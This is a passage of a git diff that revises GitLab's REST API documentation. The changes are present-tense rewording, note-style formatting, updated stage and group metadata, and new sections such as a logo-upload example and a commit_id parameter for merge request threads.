@@ -657,7 +657,7 @@ Such errors appear in the following cases:
- An attribute did not pass the validation (for example, the user bio is too
long).
-When an attribute is missing, you will get something like:
+When an attribute is missing, you receive something like:
```http
HTTP/1.1 400 Bad Request
@@ -667,7 +667,7 @@ Content-Type: application/json
}
```
-When a validation error occurs, error messages will be different. They will hold
+When a validation error occurs, error messages are different. They hold
all details of validation errors:
```http
@@ -706,7 +706,7 @@ follows:
## Unknown route
-When you attempt to access an API URL that doesn't exist, you will receive
+When you attempt to access an API URL that doesn't exist, you receive a
404 Not Found message.
```http
diff --git a/doc/api/access_requests.md b/doc/api/access_requests.md
index c133a362788..db68c140ae6 100644
--- a/doc/api/access_requests.md
+++ b/doc/api/access_requests.md
@@ -1,19 +1,21 @@
---
-stage: Create
-group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+stage: Manage
+group: Access
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
# Group and project access requests API
-> Introduced in GitLab 8.11.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/18583) in GitLab 8.11.
## Valid access levels
- The access levels are defined in the `Gitlab::Access` module. Currently, these levels are recognized:
+The access levels are defined in the `Gitlab::Access` module, and the
+following levels are recognized:
- No access (`0`)
+- Minimal access (`5`) ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220203) in GitLab 13.5.)
- Guest (`10`)
- Reporter (`20`)
- Developer (`30`)
diff --git a/doc/api/admin_sidekiq_queues.md b/doc/api/admin_sidekiq_queues.md
index 8e1f7260208..7f2f2b8668c 100644
--- a/doc/api/admin_sidekiq_queues.md
+++ b/doc/api/admin_sidekiq_queues.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Sidekiq queues administration API **(CORE ONLY)**
diff --git a/doc/api/api_resources.md b/doc/api/api_resources.md
index 7ef3b5fcbb6..c6fd5b7c45c 100644
--- a/doc/api/api_resources.md
+++ b/doc/api/api_resources.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# API resources
diff --git a/doc/api/appearance.md b/doc/api/appearance.md
index 07d26b1a643..b33e41cf271 100644
--- a/doc/api/appearance.md
+++ b/doc/api/appearance.md
@@ -1,15 +1,16 @@
---
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Appearance API **(CORE ONLY)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16647) in GitLab 12.7.
-Appearance API allows you to maintain GitLab's appearance as if using the GitLab UI at
-`/admin/appearance`. The API requires administrator privileges.
+The appearance API allows you to maintain the appearance of GitLab as if
+you're using the GitLab UI at `/admin/appearance`. The API requires
+administrator privileges.
## Get current appearance configuration
@@ -54,7 +55,7 @@ PUT /application/appearance
| --------------------------------- | ------- | -------- | ----------- |
| `title` | string | no | Instance title on the sign in / sign up page
| `description` | string | no | Markdown text shown on the sign in / sign up page
-| `logo` | mixed | no | Instance image used on the sign in / sign up page
+| `logo` | mixed | no | Instance image used on the sign in / sign up page. See [Change logo](#change-logo)
| `header_logo` | mixed | no | Instance image used for the main navigation bar
| `favicon` | mixed | no | Instance favicon in `.ico` or `.png` format
| `new_project_guidelines` | string | no | Markdown text shown on the new project page
@@ -87,3 +88,36 @@ Example response:
"email_header_and_footer_enabled": true
}
```
+
+## Change logo
+
+Upload a logo to your GitLab instance.
+
+To upload an avatar from your file system, use the `--form` argument. This causes
+cURL to post data using the header `Content-Type: multipart/form-data`. The
+`file=` parameter must point to an image file on your file system and be
+preceded by `@`.
+
+```plaintext
+PUT /application/appearance
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ------ | -------- | -------------- |
+| `logo` | string | Yes | File to upload |
+
+Example request:
+
+```shell
+curl --location --request PUT "https://gitlab.example.com/api/v4/application/appearance?data=image/png" \
+--header "Content-Type: multipart/form-data" \
+--header "PRIVATE-TOKEN: <your_access_token>" \
+--form "logo=@/path/to/logo.png"
+```
+
+Returned object:
+
+```json
+{
+ "logo":"/uploads/-/system/appearance/logo/1/logo.png"
+```
diff --git a/doc/api/applications.md b/doc/api/applications.md
index a3216bdddde..eb4930c8721 100644
--- a/doc/api/applications.md
+++ b/doc/api/applications.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Applications API
@@ -13,7 +13,7 @@ Applications API operates on OAuth applications for:
- [Using GitLab as an authentication provider](../integration/oauth_provider.md).
- [Allowing access to GitLab resources on a user's behalf](oauth2.md).
-NOTE: **Note:**
+NOTE:
Only admin users can use the Applications API.
## Create an application
@@ -33,7 +33,7 @@ Parameters:
| `name` | string | yes | Name of the application. |
| `redirect_uri` | string | yes | Redirect URI of the application. |
| `scopes` | string | yes | Scopes of the application. |
-| `confidential` | boolean | no | The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential. Defaults to `true` if not supplied |
+| `confidential` | boolean | no | The application is used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential. Defaults to `true` if not supplied |
Example request:
@@ -82,8 +82,8 @@ Example response:
]
```
-NOTE: **Note:**
-The `secret` value will not be exposed by this API.
+NOTE:
+The `secret` value is not exposed by this API.
## Delete an application
diff --git a/doc/api/audit_events.md b/doc/api/audit_events.md
index 5fdf0c20f1a..282c4ccfeea 100644
--- a/doc/api/audit_events.md
+++ b/doc/api/audit_events.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Audit Events API
@@ -132,7 +132,8 @@ Example response:
The Group Audit Events API allows you to retrieve [group audit events](../administration/audit_events.md#group-events).
-To retrieve group audit events using the API, you must [authenticate yourself](README.md#authentication) as an Administrator or an owner of the group.
+A user with a Owner role (or above) can retrieve group audit events of all users.
+A user with a Developer or Maintainer role is limited to group audit events based on their individual actions.
### Retrieve all group audit events
@@ -238,7 +239,8 @@ Example response:
The Project Audit Events API allows you to retrieve [project audit events](../administration/audit_events.md#project-events).
-To retrieve project audit events using the API, you must [authenticate yourself](README.md#authentication) as a Maintainer or an Owner of the project.
+A user with a Maintainer role (or above) can retrieve project audit events of all users.
+A user with a Developer role is limited to project audit events based on their individual actions.
### Retrieve all project audit events
@@ -258,7 +260,7 @@ are paginated.
Read more on [pagination](README.md#pagination).
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" https://primary.example.com/api/v4/projects/7/audit_events
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/api/v4/projects/7/audit_events"
```
Example response:
@@ -318,7 +320,7 @@ GET /projects/:id/audit_events/:audit_event_id
| `audit_event_id` | integer | yes | The ID of the audit event |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" https://primary.example.com/api/v4/projects/7/audit_events/5
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/api/v4/projects/7/audit_events/5"
```
Example response:
diff --git a/doc/api/avatar.md b/doc/api/avatar.md
index aec1ba67d45..31f254c7986 100644
--- a/doc/api/avatar.md
+++ b/doc/api/avatar.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Avatar API
@@ -16,9 +16,9 @@ If:
- No user with the given public email address is found, results from external avatar services are
returned.
-- Public visibility is restricted, response will be `403 Forbidden` when unauthenticated.
+- Public visibility is restricted, response is `403 Forbidden` when unauthenticated.
-NOTE: **Note:**
+NOTE:
This endpoint can be accessed without authentication.
```plaintext
diff --git a/doc/api/award_emoji.md b/doc/api/award_emoji.md
index 6e8739df13c..32ac6ef26ea 100644
--- a/doc/api/award_emoji.md
+++ b/doc/api/award_emoji.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Award Emoji API
@@ -10,21 +10,22 @@ info: To determine the technical writer assigned to the Stage/Group associated w
An [awarded emoji](../user/award_emojis.md) tells a thousand words.
-Emoji can be awarded on the following (known as "awardables"):
+We call GitLab objects on which you can award an emoji "awardables". You can award emojis on the following:
+- [Epics](../user/group/epics/index.md) ([API](epics.md)).
- [Issues](../user/project/issues/index.md) ([API](issues.md)).
- [Merge requests](../user/project/merge_requests/index.md) ([API](merge_requests.md)).
- [Snippets](../user/snippets.md) ([API](snippets.md)).
-Emoji can also [be awarded](../user/award_emojis.md#award-emoji-for-comments) on comments (also known as notes). See also [Notes API](notes.md).
+Emojis can also [be awarded](../user/award_emojis.md#award-emoji-for-comments) on comments (also known as notes). See also [Notes API](notes.md).
## Issues, merge requests, and snippets
See [Award Emoji on Comments](#award-emoji-on-comments) for information on using these endpoints with comments.
-### List an awardable's award emoji
+### List an awardable's award emojis
-Get a list of all award emoji for a specified awardable.
+Get a list of all award emojis for a specified awardable.
```plaintext
GET /projects/:id/issues/:issue_iid/award_emoji
@@ -174,10 +175,9 @@ Example Response:
### Delete an award emoji
-Sometimes it's just not meant to be and you'll have to remove the award.
+Sometimes it's just not meant to be and you need to remove the award.
-NOTE: **Note:**
-Only available to administrators or the author of the award.
+Only an administrator or the author of the award can delete an award emoji.
```plaintext
DELETE /projects/:id/issues/:issue_iid/award_emoji/:award_id
@@ -201,14 +201,14 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
Comments (also known as notes) are a sub-resource of issues, merge requests, and snippets.
-NOTE: **Note:**
-The examples below describe working with award emoji on comments for an issue, but can be
-easily adapted for comments on a merge request or on a snippet. Therefore, you have to replace
+NOTE:
+The examples below describe working with award emojis on an issue's comments, but can be
+adapted to comments on merge requests and snippets. Therefore, you have to replace
`issue_iid` either with `merge_request_iid` or with the `snippet_id`.
-### List a comment's award emoji
+### List a comment's award emojis
-Get all award emoji for a comment (note).
+Get all award emojis for a comment (note).
```plaintext
GET /projects/:id/issues/:issue_iid/notes/:note_id/award_emoji
@@ -341,10 +341,9 @@ Example response:
### Delete an award emoji from a comment
-Sometimes it's just not meant to be and you'll have to remove the award.
+Sometimes it's just not meant to be and you need to remove the award.
-NOTE: **Note:**
-Only available to administrators or the author of the award.
+Only an administrator or the author of the award can delete an award emoji.
```plaintext
DELETE /projects/:id/issues/:issue_iid/notes/:note_id/award_emoji/:award_id
diff --git a/doc/api/boards.md b/doc/api/boards.md
index 228c0ca322b..aff82daa1bf 100644
--- a/doc/api/boards.md
+++ b/doc/api/boards.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Project Issue Boards API
@@ -423,7 +423,7 @@ POST /projects/:id/boards/:board_id/lists
| `assignee_id` **(PREMIUM)** | integer | no | The ID of a user |
| `milestone_id` **(PREMIUM)** | integer | no | The ID of a milestone |
-NOTE: **Note:**
+NOTE:
Label, assignee and milestone arguments are mutually exclusive,
that is, only one of them are accepted in a request.
Check the [Issue Board docs](../user/project/issue_board.md)
diff --git a/doc/api/branches.md b/doc/api/branches.md
index fbb5368cabc..74383841272 100644
--- a/doc/api/branches.md
+++ b/doc/api/branches.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -9,14 +9,13 @@ type: reference, api
This API operates on [repository branches](../user/project/repository/branches/index.md).
-TIP: **Tip:**
See also [Protected branches API](protected_branches.md).
## List repository branches
Get a list of repository branches from a project, sorted by name alphabetically.
-NOTE: **Note:**
+NOTE:
This endpoint can be accessed without authentication if the repository is publicly accessible.
```plaintext
@@ -73,7 +72,7 @@ Example response:
Get a single project repository branch.
-NOTE: **Note:**
+NOTE:
This endpoint can be accessed without authentication if the repository is publicly accessible.
```plaintext
@@ -189,7 +188,7 @@ Example response:
Delete a branch from the repository.
-NOTE: **Note:**
+NOTE:
In the case of an error, an explanation message is provided.
```plaintext
@@ -213,7 +212,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
Will delete all branches that are merged into the project's default branch.
-NOTE: **Note:**
+NOTE:
[Protected branches](../user/project/protected_branches.md) will not be deleted as part of this operation.
```plaintext
diff --git a/doc/api/broadcast_messages.md b/doc/api/broadcast_messages.md
index f7253da297d..04b2727f575 100644
--- a/doc/api/broadcast_messages.md
+++ b/doc/api/broadcast_messages.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Broadcast Messages API
@@ -12,8 +12,8 @@ Broadcast messages API operates on [broadcast messages](../user/admin_area/broad
As of GitLab 12.8, GET requests do not require authentication. All other broadcast message API endpoints are accessible only to administrators. Non-GET requests by:
-- Guests will result in `401 Unauthorized`.
-- Regular users will result in `403 Forbidden`.
+- Guests result in `401 Unauthorized`.
+- Regular users result in `403 Forbidden`.
## Get all broadcast messages
diff --git a/doc/api/build_triggers.md b/doc/api/build_triggers.md
index bad7a655d08..13adf949981 100644
--- a/doc/api/build_triggers.md
+++ b/doc/api/build_triggers.md
@@ -3,3 +3,6 @@ redirect_to: 'pipeline_triggers.md'
---
This document was moved to [another location](pipeline_triggers.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/api/builds.md b/doc/api/builds.md
index 0154d35cab6..b7b61e853a8 100644
--- a/doc/api/builds.md
+++ b/doc/api/builds.md
@@ -3,3 +3,6 @@ redirect_to: 'jobs.md'
---
This document was moved to [another location](jobs.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/api/commits.md b/doc/api/commits.md
index d60acaad94d..81014956fc5 100644
--- a/doc/api/commits.md
+++ b/doc/api/commits.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -635,7 +635,7 @@ GET /projects/:id/repository/commits/:sha/statuses
| `all` | boolean | no | Return all statuses, not only the latest ones
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/17/repository/commits/18f3e63d05582537db6d183d9d557be09e1f90c8/statuses
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/17/repository/commits/18f3e63d05582537db6d183d9d557be09e1f90c8/statuses"
```
Example response:
diff --git a/doc/api/container_registry.md b/doc/api/container_registry.md
index ddfe5d3f238..5f3dbcb1ab0 100644
--- a/doc/api/container_registry.md
+++ b/doc/api/container_registry.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Container Registry API
@@ -313,7 +313,7 @@ You can run this at most once an hour for a given container repository. This
action doesn't delete blobs. To delete them and recycle disk space,
[run the garbage collection](https://docs.gitlab.com/omnibus/maintenance/README.html#removing-unused-layers-not-referenced-by-manifests).
-NOTE: **Note:**
+NOTE:
In GitLab 12.4 and later, individual tags are deleted.
For more details, see the [discussion](https://gitlab.com/gitlab-org/gitlab/-/issues/15737).
diff --git a/doc/api/custom_attributes.md b/doc/api/custom_attributes.md
index 76c8474ee95..68d27b77998 100644
--- a/doc/api/custom_attributes.md
+++ b/doc/api/custom_attributes.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Custom Attributes API
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Every API call to custom attributes must be authenticated as administrator.
Custom attributes are currently available on users, groups, and projects,
-which will be referred to as "resource" in this documentation.
+which is referred to as "resource" in this documentation.
## List custom attributes
@@ -74,7 +74,7 @@ Example response:
## Set custom attribute
-Set a custom attribute on a resource. The attribute will be updated if it already exists,
+Set a custom attribute on a resource. The attribute is updated if it already exists,
or newly created otherwise.
```plaintext
diff --git a/doc/api/dependencies.md b/doc/api/dependencies.md
index 2f65ff7b8d9..6beb57a6da0 100644
--- a/doc/api/dependencies.md
+++ b/doc/api/dependencies.md
@@ -1,12 +1,12 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dependencies API **(ULTIMATE)**
-CAUTION: **Caution:**
+WARNING:
This API is in an alpha stage and considered unstable.
The response payload may be subject to change or breakage
across GitLab releases.
diff --git a/doc/api/dependency_proxy.md b/doc/api/dependency_proxy.md
index 4d937027dec..ab691aaecea 100644
--- a/doc/api/dependency_proxy.md
+++ b/doc/api/dependency_proxy.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dependency Proxy API
@@ -11,9 +11,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11631) in GitLab 12.10.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/273655) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 13.6.
-Deletes the cached blobs for a group. This endpoint requires group admin access.
+Deletes the cached manifests and blobs for a group. This endpoint requires group admin access.
-CAUTION: **Warning:**
+WARNING:
[A bug exists](https://gitlab.com/gitlab-org/gitlab/-/issues/277161) for this API.
```plaintext
diff --git a/doc/api/deploy_key_multiple_projects.md b/doc/api/deploy_key_multiple_projects.md
index 85df972746e..16ce201c1c0 100644
--- a/doc/api/deploy_key_multiple_projects.md
+++ b/doc/api/deploy_key_multiple_projects.md
@@ -3,3 +3,6 @@ redirect_to: deploy_keys.md#adding-deploy-keys-to-multiple-projects
---
This document was moved to [another location](deploy_keys.md#adding-deploy-keys-to-multiple-projects).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/api/deploy_keys.md b/doc/api/deploy_keys.md
index 97b7614f932..293f7218527 100644
--- a/doc/api/deploy_keys.md
+++ b/doc/api/deploy_keys.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Deploy Keys API
diff --git a/doc/api/deploy_tokens.md b/doc/api/deploy_tokens.md
index ce55657ce27..2bdec4a0688 100644
--- a/doc/api/deploy_tokens.md
+++ b/doc/api/deploy_tokens.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Deploy Tokens API
diff --git a/doc/api/deployments.md b/doc/api/deployments.md
index 0bc72c93be7..4a937cd1818 100644
--- a/doc/api/deployments.md
+++ b/doc/api/deployments.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
diff --git a/doc/api/discussions.md b/doc/api/discussions.md
index b9feef843b1..51ca2bea3ae 100644
--- a/doc/api/discussions.md
+++ b/doc/api/discussions.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, api
---
@@ -773,6 +773,7 @@ Diff comments also contain position:
"noteable_id": 3,
"noteable_type": "Merge request",
"noteable_iid": null,
+ "commit_id": "4803c71e6b1833ca72b8b26ef2ecd5adc8a38031",
"position": {
"base_sha": "b5d6e7b1613fca24d250fa8e5bc7bcc3dd6002ef",
"start_sha": "7c9c2ead8a320fb7ba0b4e234bd9529a2614e306",
@@ -828,6 +829,8 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
### Create new merge request thread
+> The `commit id` entry was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47130) in GitLab 13.7.
+
Creates a new thread to a single project merge request. This is similar to creating
a note but other comments (replies) can be added to it later.
@@ -842,6 +845,7 @@ Parameters:
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `body` | string | yes | The content of the thread |
+| `commit_id` | string | no | SHA referencing commit to start this thread on |
| `created_at` | string | no | Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) |
| `position` | hash | no | Position when creating a diff note |
| `position[base_sha]` | string | yes | Base commit SHA in the source branch |
diff --git a/doc/api/environments.md b/doc/api/environments.md
index 8b900ad2fd3..7340fe9f9e9 100644
--- a/doc/api/environments.md
+++ b/doc/api/environments.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
diff --git a/doc/api/epic_issues.md b/doc/api/epic_issues.md
index 21ba75d37a5..17115f65b90 100644
--- a/doc/api/epic_issues.md
+++ b/doc/api/epic_issues.md
@@ -1,18 +1,18 @@
---
stage: Plan
group: Product Planning
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Epic Issues API **(PREMIUM)**
Every API call to epic_issues must be authenticated.
-If a user is not a member of a group and the group is private, a `GET` request on that group will
-result in a `404` status code.
+If a user is not a member of a group and the group is private, a `GET` request on that group
+results in a `404` status code.
Epics are available only in GitLab [Premium and higher](https://about.gitlab.com/pricing/).
-If the Epics feature is not available, a `403` status code will be returned.
+If the Epics feature is not available, a `403` status code is returned.
## List issues for an epic
diff --git a/doc/api/epic_links.md b/doc/api/epic_links.md
index a368b806f75..319d1a1ee9b 100644
--- a/doc/api/epic_links.md
+++ b/doc/api/epic_links.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Product Planning
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Epic Links API **(ULTIMATE)**
@@ -12,10 +12,10 @@ Manages parent-child [epic relationships](../user/group/epics/index.md#multi-lev
Every API call to `epic_links` must be authenticated.
-If a user is not a member of a group and the group is private, a `GET` request on that group will result to a `404` status code.
+If a user makes a `GET` request to a private group they are not a member of, the result is a `404` status code.
Multi-level Epics are available only in GitLab [Ultimate/Gold](https://about.gitlab.com/pricing/).
-If the Multi-level Epics feature is not available, a `403` status code will be returned.
+If the Multi-level Epics feature is not available, a `403` status code is returned.
## List epics related to a given epic
@@ -135,9 +135,9 @@ POST /groups/:id/epics/:epic_iid/epics
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------ |
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `epic_iid` | integer | yes | The internal ID of the (future parent) epic. |
-| `title` | string | yes | The title of a newly created epic. |
-| `confidential` | boolean | no | Whether the epic should be confidential. Will be ignored if `confidential_epics` feature flag is disabled. Defaults to the confidentiality state of the parent epic. |
+| `epic_iid` | integer | yes | The internal ID of the (future parent) epic. |
+| `title` | string | yes | The title of a newly created epic. |
+| `confidential` | boolean | no | Whether the epic should be confidential. Parameter is ignored if `confidential_epics` feature flag is disabled. Defaults to the confidentiality state of the parent epic. |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/epics/5/epics?title=Newpic"
diff --git a/doc/api/epics.md b/doc/api/epics.md
index 74cde87bb91..dc582808578 100644
--- a/doc/api/epics.md
+++ b/doc/api/epics.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Product Planning
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Epics API **(PREMIUM)**
@@ -38,11 +38,11 @@ are paginated.
Read more on [pagination](README.md#pagination).
-CAUTION: **Deprecation:**
+WARNING:
> `reference` attribute in response is deprecated in favour of `references`.
> Introduced [GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354)
-NOTE: **Note:**
+NOTE:
> `references.relative` is relative to the group that the epic is being requested. When epic is fetched from its origin group
> `relative` format would be the same as `short` format and when requested cross groups it is expected to be the same as `full` format.
@@ -251,7 +251,7 @@ Example response:
Creates a new epic.
-NOTE: **Note:**
+NOTE:
Starting with GitLab [11.3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6448), `start_date` and `end_date` should no longer be assigned
directly, as they now represent composite values. You can configure it via the `*_is_fixed` and
`*_fixed` fields instead.
@@ -333,7 +333,7 @@ Example response:
Updates an epic.
-NOTE: **Note:**
+NOTE:
Starting with GitLab [11.3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6448), `start_date` and `end_date` should no longer be assigned
directly, as they now represent composite values. You can configure it via the `*_is_fixed` and
`*_fixed` fields instead.
diff --git a/doc/api/error_tracking.md b/doc/api/error_tracking.md
index 5bb5016d0fd..12ff0148661 100644
--- a/doc/api/error_tracking.md
+++ b/doc/api/error_tracking.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
